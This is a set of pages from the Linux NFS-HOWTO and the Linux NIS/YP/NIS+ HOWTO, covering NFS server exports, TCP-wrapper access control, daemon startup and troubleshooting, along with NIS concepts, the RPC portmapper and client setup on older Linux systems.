  • sync: By default, a Version 2 NFS server will tell a client machine that a file write is complete when NFS has finished handing the write over to the filesysytem; however, the file system may not sync it to the disk, even if the client makes a sync() call on the file system. The default behavior may therefore cause file corruption if the server reboots. This option forces the filesystem to sync to disk every time NFS completes a write operation. It slows down write times substantially but may be necessary if you are running NFS Version 2 in a production environment. Version 3 NFS has a commit operation that the client can call that actually will result in a disk sync on the server end.

Suppose we have two client machines, slave1 and slave2, that have IP addresses 192.168.0.1 and 192.168.0.2, respectively. We wish to share our software binaries and home directories with these machines. A typical setup for /etc/exports might look like this:
  /usr/local   192.168.0.1(ro) 192.168.0.2(ro)
  /home        192.168.0.1(rw) 192.168.0.2(rw)

Here we are sharing /usr/local read-only to slave1 and slave2, because it probably contains our software and there may not be benefits to allowing slave1 and slave2 to write to it that outweigh security concerns. On the other hand, home directories need to be exported read-write if users are to save work on them.

If you have a large installation, you may find that you have a bunch of computers all on the same local network that require access to your server. There are a few ways of simplifying references to large numbers of machines. First, you can give access to a range of machines at once by specifying a network and a netmask. For example, if you wanted to allow access to all the machines with IP addresses between 192.168.0.0 and 192.168.0.255 then you could have the entries:
  /usr/local 192.168.0.0/255.255.255.0(ro)
  /home      192.168.0.0/255.255.255.0(rw)

See the Networking-Overview HOWTO for further information about how netmasks work, and you may also wish to look at the man pages for init and hosts.allow.

Second, you can use NIS netgroups in your entry. To specify a netgroup in your exports file, simply prepend the name of the netgroup with an "@". See the NIS HOWTO for details on how netgroups work.

Third, you can use wildcards such as *.foo.com or 192.168. instead of hostnames.

However, you should keep in mind that any of these simplifications could cause a security risk if there are machines in your netgroup or local network that you do not trust completely.

A few cautions are in order about what cannot (or should not) be exported. First, if a directory is exported, its parent and child directories cannot be exported if they are in the same filesystem. However, exporting both should not be necessary because listing the parent directory in the /etc/exports file will cause all underlying directories within that file system to be exported.

Second, it is a poor idea to export a FAT or VFAT (i.e., MS-DOS or Windows 95/98) filesystem with NFS. FAT is not designed for use on a multi-user machine, and as a result, operations that depend on permissions will not work well. Moreover, some of the underlying filesystem design is reported to work poorly with NFS's expectations.

Third, device or other special files may not export correctly to non-Linux clients. See Section 8 for details on particular operating systems.

3.2.2. /etc/hosts.allow and /etc/hosts.deny

These two files specify which computers on the network can use services on your machine. Each line of the file is an entry listing a service and a set of machines. When the server gets a request from a machine, it does the following:

  • It first checks hosts.allow to see if the machine matches a description listed in there. If it does, then the machine is allowed access.

  • If the machine does not match an entry in hosts.allow, the server then checks hosts.deny to see if the client matches a listing in there. If it does then the machine is denied access.

  • If the client matches no listings in either file, then it is allowed access.

In addition to controlling access to services handled by inetd (such as telnet and FTP), this file can also control access to NFS by restricting connections to the daemons that provide NFS services. Restrictions are done on a per-service basis.

The first daemon to restrict access to is the portmapper. This daemon essentially just tells requesting clients how to find all the NFS services on the system. Restricting access to the portmapper is the best defense against someone breaking into your system through NFS because completely unauthorized clients won't know where to find the NFS daemons. However, there are two things to watch out for. First, restricting portmapper isn't enough if the intruder already knows for some reason how to find those daemons. And second, if you are running NIS, restricting portmapper will also restrict requests to NIS. That should usually be harmless since you usually want to restrict NFS and NIS in a similar way, but just be cautioned. (Running NIS is generally a good idea if you are running NFS, because the client machines need a way of knowing who owns what files on the exported volumes. Of course there are other ways of doing this such as syncing password files. See the NIS HOWTO for information on setting up NIS.)

In general it is a good idea with NFS (as with most internet services) to explicitly deny access to hosts that you don't need to allow access to.

The first step in doing this is to add the followng entry to /etc/hosts.deny:

   portmap:ALL

Starting with nfs-utils 0.2.0, you can be a bit more careful by controlling access to individual daemons. It's a good precaution since an intruder will often be able to weasel around the portmapper. If you have a newer version of NFS-utils, add entries for each of the NFS daemons (see the next section to find out what these daemons are; for now just put entries for them in hosts.deny):

    lockd:ALL
    mountd:ALL
    rquotad:ALL
    statd:ALL

Even if you have an older version of nfs-utils, adding these entries is at worst harmless (since they will just be ignored) and at best will save you some trouble when you upgrade. Some sys admins choose to put the entry ALL:ALL in the file /etc/hosts.deny, which causes any service that looks at these files to deny access to all hosts unless it is explicitly allowed. While this is more secure behavior, it may also get you in trouble when you are installing new services, you forget you put it there, and you can't figure out for the life of you why they won't work.

Next, we need to add an entry to hosts.allow to give any hosts access that we want to have access. (If we just leave the above lines in hosts.deny then nobody will have access to NFS.) Entries in hosts.allow follow the format

    service: host [or network/netmask] , host [or network/netmask]

Here, host is IP address of a potential client; it may be possible in some versions to use the DNS name of the host, but it is strongly deprecated.

Suppose we have the setup above and we just want to allow access to slave1.foo.com and slave2.foo.com, and suppose that the IP addresses of these machines are 192.168.0.1 and 192.168.0.2, respectively. We could add the following entry to /etc/hosts.allow:

   portmap: 192.168.0.1 , 192.168.0.2

For recent nfs-utils versions, we would also add the following (again, these entries are harmless even if they are not supported):

    lockd: 192.168.0.1 , 192.168.0.2
    rquotad: 192.168.0.1 , 192.168.0.2
    mountd: 192.168.0.1 , 192.168.0.2
    statd: 192.168.0.1 , 192.168.0.2

If you intend to run NFS on a large number of machines in a local network, /etc/hosts.allow also allows for network/netmask style entries in the same manner as /etc/exports above.

3.3. Getting the services started

3.3.1. Pre-requisites

The NFS server should now be configured and we can start it running. First, you will need to have the appropriate packages installed. This consists mainly of a new enough kernel and a new enough version of the nfs-utils package. See Section 2.4 if you are in doubt.

Next, before you can start NFS, you will need to have TCP/IP networking functioning correctly on your machine. If you can use telnet, FTP, and so on, then chances are your TCP networking is fine.

That said, with most recent Linux distributions you may be able to get NFS up and running simply by rebooting your machine, and the startup scripts should detect that you have set up your /etc/exports file and will start up NFS correctly. If you try this, see Section 3.4 Verifying that NFS is running. If this does not work, or if you are not in a position to reboot your machine, then the following section will tell you which daemons need to be started in order to run NFS services. If for some reason nfsd was already running when you edited your configuration files above, you will have to flush your configuration; see Section 3.5 for details.

3.3.2. Starting the Portmapper

NFS depends on the portmapper daemon, either called portmap or rpc.portmap. It will need to be started first. It should be located in /sbin but is sometimes in /usr/sbin. Most recent Linux distributions start this daemon in the boot scripts, but it is worth making sure that it is running before you begin working with NFS (just type ps aux | grep portmap).

3.3.3. The Daemons

NFS serving is taken care of by five daemons: rpc.nfsd, which does most of the work; rpc.lockd and rpc.statd, which handle file locking; rpc.mountd, which handles the initial mount requests, and rpc.rquotad, which handles user file quotas on exported volumes. Starting with 2.2.18, lockd is called by nfsd upon demand, so you do not need to worry about starting it yourself. statd will need to be started separately. Most recent Linux distributions will have startup scripts for these daemons.

The daemons are all part of the nfs-utils package, and may be either in the /sbin directory or the /usr/sbin directory.

If your distribution does not include them in the startup scripts, then then you should add them, configured to start in the following order:

rpc.portmap
rpc.mountd, rpc.nfsd
rpc.statd, rpc.lockd (if necessary), rpc.rquotad

The nfs-utils package has sample startup scripts for RedHat and Debian. If you are using a different distribution, in general you can just copy the RedHat script, but you will probably have to take out the line that says:
    . ../init.d/functions
to avoid getting error messages.

3.4. Verifying that NFS is running

To do this, query the portmapper with the command rpcinfo -p to find out what services it is providing. You should get something like this:
    program vers proto   port
    100000    2   tcp    111  portmapper
    100000    2   udp    111  portmapper
    100011    1   udp    749  rquotad
    100011    2   udp    749  rquotad
    100005    1   udp    759  mountd
    100005    1   tcp    761  mountd
    100005    2   udp    764  mountd
    100005    2   tcp    766  mountd
    100005    3   udp    769  mountd
    100005    3   tcp    771  mountd
    100003    2   udp   2049  nfs
    100003    3   udp   2049  nfs
    300019    1   tcp    830  amd
    300019    1   udp    831  amd
    100024    1   udp    944  status
    100024    1   tcp    946  status
    100021    1   udp   1042  nlockmgr
    100021    3   udp   1042  nlockmgr
    100021    4   udp   1042  nlockmgr
    100021    1   tcp   1629  nlockmgr
    100021    3   tcp   1629  nlockmgr
    100021    4   tcp   1629  nlockmgr

This says that we have NFS versions 2 and 3, rpc.statd version 1, network lock manager (the service name for rpc.lockd) versions 1, 3, and 4. There are also different service listings depending on whether NFS is travelling over TCP or UDP. Linux systems use UDP by default unless TCP is explicitly requested; however other OSes such as Solaris default to TCP.

If you do not at least see a line that says "portmapper", a line that says "nfs", and a line that says "mountd" then you will need to backtrack and try again to start up the daemons (see Section 7, Troubleshooting, if this still doesn't work).

If you do see these services listed, then you should be ready to set up NFS clients to access files from your server.

3.5. Making changes to /etc/exports later on

If you come back and change your /etc/exports file, the changes you make may not take effect immediately. You should run the command exportfs -ra to force nfsd to re-read the /etc/exports file. If you can't find the exportfs command, then you can kill nfsd with the -HUP flag (see the man pages for kill for details).

If that still doesn't work, don't forget to check hosts.allow to make sure you haven't forgotten to list any new client machines there. Also check the host listings on any firewalls you may have set up (see Section 7 for more details on firewalls and NFS).

Prev | Home | Next
Introduction |  | Setting up an NFS Client


Troubleshooting

Linux NFS-HOWTO
Prev Next

7. Troubleshooting

This is intended as a step-by-step guide to what to do when things go wrong using NFS. Usually trouble first rears its head on the client end, so this diagnostic will begin there.

7.1. Unable to See Files on a Mounted File System

First, check to see if the file system is actually mounted. There are several ways of doing this. The most reliable way is to look at the file /proc/mounts, which will list all mounted filesystems and give details about them. If this doesn't work (for example if you don't have the /proc filesystem compiled into your kernel), you can type 'mount -f' although you get less information.

If the file system appears to be mounted, then you may have mounted another file system on top of it (in which case you should unmount and remount both volumes), or you may have exported the file system on the server before you mounted it there, in which case NFS is exporting the underlying mount point (if so then you need to restart NFS on the server).

If the file system is not mounted, then attempt to mount it. If this does not work, see Symptom 3.

7.2. File requests hang or timeout waiting for access to the file.

This usually means that the client is unable to communicate with the server. See Symptom 3 letter b.

7.3. Unable to mount a file system

There are two common errors that mount produces when it is unable to mount a volume. These are:

  1. failed, reason given by server: Permission denied

    This means that the server does not recognize that you have access to the volume.

    1. Check your /etc/exports file and make sure that the volume is exported and that your client has the right kind of access to it. For example, if a client only has read access then you have to mount the volume with the ro option rather than the rw option.

    2. Make sure that you have told NFS to register any changes you made to /etc/exports since starting nfsd by running the exportfs command. Be sure to type exportfs -ra to be extra certain that the exports are being re-read.

    3. Check the file /proc/fs/nfs/exports and make sure the volume and client are listed correctly. (You can also look at the file /var/lib/nfs/xtab for an unabridged list of how all the active export options are set.) If they are not, then you have not re-exported properly. If they are listed, make sure the server recognizes your client as being the machine you think it is. For example, you may have an old listing for the client in /etc/hosts that is throwing off the server, or you may not have listed the client's complete address and it may be resolving to a machine in a different domain. Try to ping the client from the server, and try to ping the server from the client. If this doesn't work, or if there is packet loss, you may have lower-level network problems.

  2. RPC: Program Not Registered (or another "RPC" error):

    This means that the client does not detect NFS running on the server. This could be for several reasons.

    1. First, check that NFS actually is running on the server by typing rpcinfo -p on the server. You should see something like this:
         program vers proto   port
    100000    2   tcp    111  portmapper
    100000    2   udp    111  portmapper
    100011    1   udp    749  rquotad
    100011    2   udp    749  rquotad
    100005    1   udp    759  mountd
    100005    1   tcp    761  mountd
    100005    2   udp    764  mountd
    100005    2   tcp    766  mountd
    100005    3   udp    769  mountd
    100005    3   tcp    771  mountd
    100003    2   udp   2049  nfs
    100003    3   udp   2049  nfs
    300019    1   tcp    830  amd
    300019    1   udp    831  amd
    100024    1   udp    944  status
    100024    1   tcp    946  status
    100021    1   udp   1042  nlockmgr
    100021    3   udp   1042  nlockmgr
    100021    4   udp   1042  nlockmgr
    100021    1   tcp   1629  nlockmgr
    100021    3   tcp   1629  nlockmgr
    100021    4   tcp   1629  nlockmgr
      This says that we have NFS versions 2 and 3, rpc.statd version 1, network lock manager (the service name for rpc.lockd) versions 1, 3, and 4. There are also different service listings depending on whether NFS is travelling over TCP or UDP. UDP is usually (but not always) the default unless TCP is explicitly requested.

      If you do not see at least portmapper, nfs, and mountd, then you need to restart NFS. If you are not able to restart successfully, proceed to Symptom 9.

    2. Now check to make sure you can see it from the client. On the client, type rpcinfo -p [server] where [server] is the DNS name or IP address of your server.

      If you get a listing, then make sure that the type of mount you are trying to perform is supported. For example, if you are trying to mount using Version 3 NFS, make sure Version 3 is listed; if you are trying to mount using NFS over TCP, make sure that is registered. (Some non-Linux clients default to TCP). See man rpcinfo for more details on how to read the output. If the type of mount you are trying to perform is not listed, try a different type of mount.

      If you get the error No Remote Programs Registered, then you need to check your /etc/hosts.allow and /etc/hosts.deny files on the server and make sure your client actually is allowed access. Again, if the entries appear correct, check /etc/hosts (or your DNS server) and make sure that the machine is listed correctly, and make sure you can ping the server from the client. Also check the error logs on the system for helpful messages: Authentication errors from bad /etc/hosts.allow entries will usually appear in /var/log/messages, but may appear somewhere else depending on how your system logs are set up. The man pages for syslog can help you figure out how your logs are set up. Finally, some older operating systems may behave badly when routes between the two machines are asymmetric. Try typing tracepath [server] from the client and see if the word "asymmetric" shows up anywhere in the output. If it does then this may be causing packet loss. However asymmetric routes are not usually a problem on recent linux distributions.

      If you get the error Remote system error - No route to host, but you can ping the server correctly, then you are the victim of an overzealous firewall. Check any firewalls that may be set up, either on the server or on any routers in between the client and the server. Look at the man pages for ipchains, netfilter, and ipfwadm, as well as the IPChains-HOWTO and the Firewall-HOWTO for help.

7.4. I do not have permission to access files on the mounted volume.

This could be one of two problems.

If it is a write permission problem, check the export options on the server by looking at /proc/fs/nfs/exports and make sure the filesystem is not exported read-only. If it is you will need to re-export it read/write (don't forget to run exportfs -ra after editing /etc/exports). Also, check /proc/mounts and make sure the volume is mounted read/write (although if it is mounted read-only you ought to get a more specific error message). If not then you need to re-mount with the rw option.

The second problem has to do with username mappings, and is different depending on whether you are trying to do this as root or as a non-root user.

If you are not root, then usernames may not be in sync on the client and the server. Type id [user] on both the client and the server and make sure they give the same UID number. If they don't then you are having problems with NIS, NIS+, rsync, or whatever system you use to sync usernames. Check group names to make sure that they match as well. Also, make sure you are not exporting with the all_squash option. If the user names match then the user has a more general permissions problem unrelated to NFS.

If you are root, then you are probably not exporting with the no_root_squash option; check /proc/fs/nfs/exports or /var/lib/nfs/xtab on the server and make sure the option is listed. In general, being able to write to the NFS server as root is a bad idea unless you have an urgent need -- which is why Linux NFS prevents it by default. See Section 6 for details.

If you have root squashing, you want to keep it, and you're only trying to get root to have the same permissions on the file that the user nobody should have, then remember that it is the server that determines which uid root gets mapped to. By default, the server uses the UID and GID of nobody in the /etc/passwd file, but this can also be overridden with the anonuid and anongid options in the /etc/exports file. Make sure that the client and the server agree about which UID nobody gets mapped to.

7.5. When I transfer really big files, NFS takes over all the CPU cycles on the server and it screeches to a halt.

This is a problem with the fsync() function in 2.2 kernels that causes all sync-to-disk requests to be cumulative, resulting in a write time that is quadratic in the file size. If you can, upgrading to a 2.4 kernel should solve the problem. Also, exporting with the no_wdelay option forces the program to use o_sync() instead, which may prove faster.

7.6. Strange error or log messages

  1. Messages of the following format:

     Jan 7 09:15:29 server kernel: fh_verify: mail/guest permission failure, acc=4, error=13
 Jan 7 09:23:51 server kernel: fh_verify: ekonomi/test permission failure, acc=4, error=13

    These happen when a NFS setattr operation is attempted on a file you don't have write access to. The messages are harmless.

  2. The following messages frequently appear in the logs:

     kernel: nfs: server server.domain.name not responding, still trying
 kernel: nfs: task 10754 can't get a request slot
 kernel: nfs: server server.domain.name OK

    The "can't get a request slot" message means that the client- side RPC code has detected a lot of timeouts (perhaps due to network congestion, perhaps due to an overloaded server), and is throttling back the number of concurrent outstanding requests in an attempt to lighten the load. The cause of these messages is basically sluggish performance. See Section 5 for details.

  3. After mounting, the following message appears on the client:

    nfs warning: mount version older than kernel

    It means what it says: You should upgrade your mount package and/or am-utils. (If for some reason upgrading is a problem, you may be able to get away with just recompiling them so that the newer kernel features are recognized at compile time).

  4. Errors in startup/shutdown log for lockd

    You may see a message of the following kind in your boot log:
    nfslock: rpc.lockd startup failed

    They are harmless. Older versions of rpc.lockd needed to be started up manually, but newer versions are started automatically by knfsd. Many of the default startup scripts still try to start up lockd by hand, in case it is necessary. You can alter your startup scripts if you want the messages to go away.

  5. The following message appears in the logs:

    kmem_create: forcing size word alignment - nfs_fh

    This results from the file handle being 16 bits instead of a mulitple of 32 bits, which makes the kernel grimace. It is harmless.

7.7. Real permissions don't match what's in /etc/exports.

/etc/exports is VERY sensitive to whitespace - so the following statements are not the same:
/export/dir hostname(rw,no_root_squash)
/export/dir hostname (rw,no_root_squash)
The first will grant hostname rw access to /export/dir without squashing root privileges. The second will grant hostname rw privs w/root squash and it will grant EVERYONE else read-write access, without squashing root privileges. Nice huh?

7.8. Flaky and unreliable behavior

Simple commands such as ls work, but anything that transfers a large amount of information causes the mount point to lock.

This could be one of two problems:

  1. It will happen if you have ipchains on at the server and/or the client and you are not allowing fragmented packets through the chains. Allow fragments from the remote host and you'll be able to function again. See Section 6.4 for details on how to do this.

  2. You may be using a larger rsize and wsize in your mount options than the server supports. Try reducing rsize and wsize to 1024 and seeing if the problem goes away. If it does, then increase them slowly to a more reasonable value.

7.9. nfsd won't start

Check the file /etc/exports and make sure root has read permission. Check the binaries and make sure they are executable. Make sure your kernel was compiled with NFS server support. You may need to reinstall your binaries if none of these ideas helps.

Prev | Home | Next
Security and NFS |  | Using Linux NFS with Other OSes


The Linux NIS(YP)/NYS/NIS+ HOWTO

Thorsten Kukuk

v1.1.1, 18 November 2000

This document describes how to configure Linux as NIS(YP) or NIS+ client and how to install as NIS server.

Table of Contents
1. Introduction
1.1. New Versions of this Document
1.2. Disclaimer
1.3. Feedback and Corrections
1.4. Acknowledgements
2. Glossary and General Information
2.1. Glossary of Terms
2.2. Some General Information
3. NIS, NYS or NIS+ ?
3.1. libc 4/5 with traditional NIS or NYS ?
3.2. glibc 2 and NIS/NIS+
3.3. NIS or NIS+ ?
4. How it works
4.1. How NIS works
4.2. How NIS+ works
5. The RPC Portmapper
6. What do you need to set up NIS?
6.1. Determine whether you are a Server, Slave or Client.
6.2. The Software
7. Setting Up the NIS Client
7.1. The ypbind daemon
7.2. Setting up a NIS Client using Traditional NIS
7.3. Setting up a NIS Client using NYS
7.4. Setting up a NIS Client using glibc 2.x
7.5. The nsswitch.conf File
7.6. Shadow Passwords with NIS
8. What do you need to set up NIS+ ?
8.1. The Software
8.2. Setting up a NIS+ client
8.3. NIS+, keylogin, login and PAM
8.4. The nsswitch.conf File
9. Setting up a NIS Server
9.1. The Server Program ypserv
9.2. The Server Program yps
9.3. The Program rpc.ypxfrd
9.4. The Program rpc.yppasswdd
10. Verifying the NIS/NYS Installation
11. Surviving a Reboot
11.1. NIS Init Script
11.2. NIS Domain Name
11.3. Distribution-specific Issues
12. Common Problems and Troubleshooting NIS
13. Frequently Asked Questions
Next
Introduction


The RPC Portmapper

The Linux NIS(YP)/NYS/NIS+ HOWTO
Prev Next

5. The RPC Portmapper

To run any of the software mentioned below you will need to run the program /usr/sbin/portmap. Some Linux distributions already have the code in the /sbin/init.d/ or /etc/rc.d/ files to start up this daemon. All you have to do is to activate it and reboot your Linux machine. Read your Linux Distribution Documentation how to do this.

The RPC portmapper (portmap(8)) is a server that converts RPC program numbers into TCP/IP (or UDP/IP) protocol port numbers. It must be running in order to make RPC calls (which is what the NIS/NIS+ client software does) to RPC servers (like a NIS or NIS+ server) on that machine. When an RPC server is started, it will tell portmap what port number it is listening to, and what RPC program numbers it is prepared to serve. When a client wishes to make an RPC call to a given program number, it will first contact portmap on the server machine to determine the port number where RPC packets should be sent.

Since RPC servers could be started by inetd(8), portmap should be running before inetd is started.

For secure RPC, the portmapper needs the Time service. Make sure, that the Time service is enabled in /etc/inetd.conf on all hosts:
#
# Time service is used for clock syncronization.
#
time    stream  tcp     nowait  root    internal
time    dgram   udp     wait    root    internal

IMPORTANT: Don't forget to restart inetd after changes on its configuration file !

Prev | Home | Next
How it works |  | What do you need to set up NIS?


Introduction

The Linux NIS(YP)/NYS/NIS+ HOWTO
Prev Next

1. Introduction

More and more, Linux machines are installed as part of a network of computers. To simplify network administration, most networks (mostly Sun-based networks) run the Network Information Service. Linux machines can take full advantage of existing NIS service or provide NIS service themselves. Linux machines can also act as full NIS+ clients, this support is in beta stage.

This document tries to answer questions about setting up NIS(YP) and NIS+ on your Linux machine. Don't forget to read Section 5.

The NIS-Howto is edited and maintained by

        Thorsten Kukuk, <kukuk@suse.de>

The primary source of the information for the initial NIS-Howto was from:

Andrea Dell'Amico       <adellam@ZIA.ms.it>
Mitchum DSouza          <Mitch.DSouza@NetComm.IE>
Erwin Embsen            <erwin@nioz.nl>
Peter Eriksson          <peter@ifm.liu.se>

who we should thank for writing the first versions of this document.

1.1. New Versions of this Document

You can always view the latest version of this document on the World Wide Web via the URL http://www.suse.de/~kukuk/nis-howto/HOWTO/NIS-HOWTO.html.

New versions of this document will also be uploaded to various Linux WWW and FTP sites, including the LDP home page.

Links to translations of this document could be found at http://www.suse.de/~kukuk/nis-howto/.

1.2. Disclaimer

Although this document has been put together to the best of my knowledge it may, and probably does contain errors. Please read any README files that are bundled with any of the various pieces of software described in this document for more detailed and accurate information. I will attempt to keep this document as error free as possible.

1.3. Feedback and Corrections

If you have questions or comments about this document, please feel free to mail Thorsten Kukuk, at kukuk@suse.de. I welcome any suggestions or criticisms. If you find a mistake with this document, please let me know so I can correct it in the next version. Thanks.

Please do not mail me questions about special problems with your Linux Distribution! I don't know every Linux Distribution. But I will try to add every solution you send me.

1.4. Acknowledgements

We would like to thank all the people who have contributed (directly or indirectly) to this document. In alphabetical order:

Byron A Jeff            <byron@cc.gatech.edu>
Markus Rex              <msrex@suse.de>
Miquel van Smoorenburg  <miquels@cistron.nl>
Dan York                <dyork@lodestar2.com>

Theo de Raadt is responsible for the original yp-clients code. Swen Thuemmler ported the yp-clients code to Linux and also ported the yp-routines in libc (again based on Theo's work). Thorsten Kukuk has written the NIS(YP) and NIS+ routines for GNU libc 2.x from scratch.

Prev | Home | Next
The Linux NIS(YP)/NYS/NIS+ HOWTO |  | Glossary and General Information


Glossary and General Information

The Linux NIS(YP)/NYS/NIS+ HOWTO
Prev Next

2. Glossary and General Information

2.1. Glossary of Terms

In this document a lot of acronyms are used. Here are the most important acronyms and a brief explanation:

DBM

DataBase Management, a library of functions which maintain key-content pairs in a data base.

DLL

Dynamically Linked Library, a library linked to an executable program at run-time.

domainname

A name "key" that is used by NIS clients to be able to locate a suitable NIS server that serves that domainname key. Please note that this does not necessarily have anything at all to do with the DNS "domain" (machine name) of the machine(s).

FTP

File Transfer Protocol, a protocol used to transfer files between two computers.

libnsl

Name services library, a library of name service calls (getpwnam, getservbyname, etc...) on SVR4 Unixes. GNU libc uses this for the NIS (YP) and NIS+ functions.

libsocket

Socket services library, a library for the socket service calls (socket, bind, listen, etc...) on SVR4 Unixes.

NIS

Network Information Service, a service that provides information, that has to be known throughout the network, to all machines on the network. There is support for NIS in Linux's standard libc library, which in the following text is referred to as "traditional NIS".

NIS+

Network Information Service (Plus :-), essentially NIS on steroids. NIS+ is designed by Sun Microsystems Inc. as a replacement for NIS with better security and better handling of _large_ installations.

NYS

This is the name of a project and stands for NIS+, YP and Switch and is managed by Peter Eriksson <peter@ifm.liu.se>. It contains among other things a complete reimplementation of the NIS (= YP) code that uses the Name Services Switch functionality of the NYS library.

NSS

Name Service Switch. The /etc/nsswitch.conf file determines the order of lookups performed when a certain piece of information is requested.

RPC

Remote Procedure Call. RPC routines allow C programs to make procedure calls on other machines across the network. When people talk about RPC they most often mean the Sun RPC variant.

YP

Yellow Pages(tm), a registered trademark in the UK of British Telecom plc.

TCP-IP

Transmission Control Protocol/Internet Protocol. It is the data communication protocol most often used on Unix machines.

2.2. Some General Information

The next four lines are quoted from the Sun(tm) System & Network Administration Manual:

    "NIS was formerly known as Sun Yellow Pages (YP) but
     the name Yellow Pages(tm) is a registered trademark
     in the United Kingdom of British Telecom plc and may
     not be used without permission."

NIS stands for Network Information Service. Its purpose is to provide information, that has to be known throughout the network, to all machines on the network. Information likely to be distributed by NIS is:

  • login names/passwords/home directories (/etc/passwd)

  • group information (/etc/group)

If, for example, your password entry is recorded in the NIS passwd database, you will be able to login on all machines on the network which have the NIS client programs running.

Sun is a trademark of Sun Microsystems, Inc. licensed to SunSoft, Inc.

Prev | Home | Next
Introduction |  | NIS, NYS or NIS+ ?


NIS, NYS or NIS+ ?

The Linux NIS(YP)/NYS/NIS+ HOWTO
Prev Next

3. NIS, NYS or NIS+ ?

3.1. libc 4/5 with traditional NIS or NYS ?

The choice between "traditional NIS" or the NIS code in the NYS library is a choice between laziness and maturity vs. flexibility and love of adventure.

The "traditional NIS" code is in the standard C library and has been around longer and sometimes suffers from its age and slight inflexibility.

The NIS code in the NYS library requires you to recompile the libc library to include the NYS code into it (or maybe you can get a precompiled version of libc from someone who has already done it).

Another difference is that the traditional NIS code has some support for NIS Netgroups, which the NYS code doesn't. On the other hand the NYS code allows you to handle Shadow Passwords in a transparent way. The "traditonal NIS" code doesn't support Shadow Passwords over NIS.

3.2. glibc 2 and NIS/NIS+

Forgot all this if you use the new GNU C Library 2.x (aka libc6). It has real NSS (name switch service) support, which makes it very flexible, and contains support for the following NIS/NIS+ maps: aliases, ethers, group, hosts, netgroups, networks, protocols, publickey, passwd, rpc, services and shadow. The GNU C Library has no problems with shadow passwords over NIS.

3.3. NIS or NIS+ ?

The choice between NIS and NIS+ is easy - use NIS if you don't have to use NIS+ or have severe security needs. NIS+ is _much_ more problematic to administer (it's pretty easy to handle on the client side, but the server side is horrible). Another problem is that the support for NIS+ under Linux is still under developement - you need the latest glibc 2.1. There is an unsupported port of the glibc NIS+ support for libc5 as dropin replacement.

Prev | Home | Next
Glossary and General Information |  | How it works


How it works

The Linux NIS(YP)/NYS/NIS+ HOWTO
Prev Next

4. How it works

4.1. How NIS works

Within a network there must be at least one machine acting as a NIS server. You can have multiple NIS servers, each serving different NIS "domains" - or you can have cooperating NIS servers, where one is the master NIS server, and all the other are so-called slave NIS servers (for a certain NIS "domain", that is!) - or you can have a mix of them...

Slave servers only have copies of the NIS databases and receive these copies from the master NIS server whenever changes are made to the master's databases. Depending on the number of machines in your network and the reliability of your network, you might decide to install one or more slave servers. Whenever a NIS server goes down or is too slow in responding to requests, a NIS client connected to that server will try to find one that is up or faster.

NIS databases are in so-called DBM format, derived from ASCII databases. For example, the files /etc/passwd and /etc/group can be directly converted to DBM format using ASCII-to-DBM translation software ("makedbm", included with the server software). The master NIS server should have both, the ASCII databases and the DBM databases.

Slave servers will be notified of any change to the NIS maps, (via the "yppush" program), and automatically retrieve the necessary changes in order to synchronize their databases. NIS clients do not need to do this since they always talk to the NIS server to read the information stored in it's DBM databases.

Old ypbind versions do a broadcast to find a running NIS server. This is insecure, due the fact that anyone may install a NIS server and answer the broadcast queries. Newer Versions of ypbind (ypbind-3.3 or ypbind-mt) are able to get the server from a configuration file - thus no need to broadcast.

4.2. How NIS+ works

NIS+ is a new version of the network information nameservice from Sun. The biggest difference between NIS and NIS+ is that NIS+ has support for data encryption and authentication over secure RPC.

The naming model of NIS+ is based upon a tree structure. Each node in the tree corresponds to an NIS+ object, from which we have six types: directory, entry, group, link, table and private.

The NIS+ directory that forms the root of the NIS+ namespace is called the root directory. There are two special NIS+ directories: org_dir and groups_dir. The org_dir directory consists of all administration tables, such as passwd, hosts, and mail_aliases. The groups_dir directory consists of NIS+ group objects which are used for access control. The collection of org_dir, groups_dir and their parent directory is referred to as an NIS+ domain.

Prev | Home | Next
NIS, NYS or NIS+ ? |  | The RPC Portmapper


What do you need to set up NIS?

The Linux NIS(YP)/NYS/NIS+ HOWTO
Prev Next

6. What do you need to set up NIS?

6.1. Determine whether you are a Server, Slave or Client.

To answer this question you have to consider two cases:

  1. Your machine is going to be part of a network with existing NIS servers

  2. You do not have any NIS servers in the network yet

In the first case, you only need the client programs (ypbind, ypwhich, ypcat, yppoll, ypmatch). The most important program is ypbind. This program must be running at all times, which means, it should always appear in the list of processes. It is a daemon process and needs to be started from the system's startup file (eg. /etc/init.d/nis, /sbin/init.d/ypclient, /etc/rc.d/init.d/ypbind, /etc/rc.local). As soon as ypbind is running your system has become a NIS client.

In the second case, if you don't have NIS servers, then you will also need a NIS server program (usually called ypserv). Section 9 describes how to set up a NIS server on your Linux machine using the "ypserv" daemon.

6.2. The Software

The system library "/usr/lib/libc.a" (version 4.4.2 and better) or the shared library "/lib/libc.so.x" contain all necessary system calls to succesfully compile the NIS client and server software. For the GNU C Library 2 (glibc 2.x), you also need /lib/libnsl.so.1.

Some people reported that NIS only works with "/usr/lib/libc.a" version 4.5.21 and better so if you want to play it safe don't use older libc's. The NIS client software can be obtained from:

  Site                  Directory                        File Name

  ftp.kernel.org        /pub/linux/utils/net/NIS         yp-tools-2.4.tar.gz
  ftp.kernel.org        /pub/linux/utils/net/NIS         ypbind-mt-1.7.tar.gz
  ftp.kernel.org        /pub/linux/utils/net/NIS         ypbind-3.3.tar.gz
  ftp.kernel.org        /pub/linux/utils/net/NIS         ypbind-3.3-glibc5.diff.gz

Once you obtained the software, please follow the instructions which come with the software. yp-clients 2.2 are for use with libc4 and libc5 until 5.4.20. libc 5.4.21 and glibc 2.x needs yp-tools 1.4.1 or later. The new yp-tools 2.4 should work with every Linux libc. Since there was a bug in the NIS code, you shouldn't use libc 5.4.21-5.4.35. Use libc 5.4.36 or later instead, or the most YP programs will not work. ypbind 3.3 will work with all libraries, too. If you use gcc 2.8.x or greater, egcs or glibc 2.x, you should add the ypbind-3.3-glibc5.diff patch to ypbind 3.3. If possible you should avoid the use of ypbind 3.3 for security reasons. ypbind-mt is a new, multithreaded daemon. It needs a Linux 2.2 kernel and glibc 2.1 or later.

Prev | Home | Next
The RPC Portmapper |  | Setting Up the NIS Client


Setting Up the NIS Client

The Linux NIS(YP)/NYS/NIS+ HOWTO
Prev Next

7. Setting Up the NIS Client

7.1. The ypbind daemon

After you have succesfully compiled the software you are now ready to install it. A suitable place for the ypbind daemon is the directory /usr/sbin. Some people may tell you that you don't need ypbind on a system with NYS. This is wrong. ypwhich and ypcat need it always.

You must do this as root of course. The other binaries (ypwhich, ypcat, yppasswd, yppoll, ypmatch) should go in a directory accessible by all users, normally /usr/bin.

